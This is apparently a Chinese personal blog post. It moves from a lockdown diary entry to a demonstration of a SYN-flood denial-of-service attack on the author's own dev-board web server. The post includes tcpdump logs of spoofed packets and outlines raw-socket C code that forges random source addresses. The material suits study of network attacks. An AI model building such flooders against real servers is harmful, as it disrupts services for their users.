9月13日,大雨。
摄于海棠9号楼3楼天井露台
9月13日,大雨。
摄于海棠9号楼3楼天井露台
甲流了,封校了,在宿舍憋了一天。晚上学校孝敬我的饭菜没有拍照,只好明天再拍照纪念。
白天又蹉跎了,唉。。。
TCP协议的3次握手过程如下图所示(朕用photoshop随便画的,将就看一下):

罗嗦一下:客户端发送SYN,服务器收到后发送对应的ACK 和自己的SYN,客户端收到对自己的SYN确认后,发送对服务器SYN的确认,客户端完成建立连接。服务器收到客户端对自己的SYN的确认,整个TCP连接建立完成。
如果要进行一次DoS攻击,则可以在3次握手的过程中进行破坏,破坏方法如下图:

利用原始socket修改源地址,使得服务器把ACK发送到一个不存在的地址,然后服务器就会傻逼一样等待这个不存在的地址的应答信息,那就一直等吧,等到地老天荒去。但是服务器还没有这个能耐等到地老天荒海枯石烂,服务器的未完成连接队列长度是有限的,所以当那些不存在的地址把这个队列霸占之后,合法的主机再来连接服务器就会被deny。
以上就是DoS攻击的原理。
下面开始攻击:
目标服务器:我的mini2440开发板,上面运行了一个http服务器,端口80,地址是192.168.0.222
在我的主机上访问这个地址是完全正常的,如下图:

然后开始攻击:

可以看到当前发送速率如下:

发送一段时候后,再次访问http://192.168.0.222,结果如下:

可以用tcpdump抓包看到,发送的数据包源地址都是随机伪造的:
21:49:04.958398 IP 165.73.220.37.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958402 IP 182.200.63.94.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958406 IP 218.31.87.38.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966416 IP 132.23.33.98.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966424 IP 200.16.93.88.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966430 IP 171.242.43.18.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966436 IP 78.39.31.69.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966442 IP 34.132.193.5.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966448 IP 55.211.162.46.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966454 IP 89.112.75.6.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966460 IP 215.57.37.36.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
代码过程如下:
1.生成原始socket
socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
2.设置socket选项
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
设置了IP_HDRINCL选项,需要手动为IP数据包填写IP数据包首部内容。
3.填写两个结构体:struct ip 和 struct tcphdr
4.伪造源地址并且发送给服务器
ip->ip_src.s_addr = random();
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
一点了,睡觉去。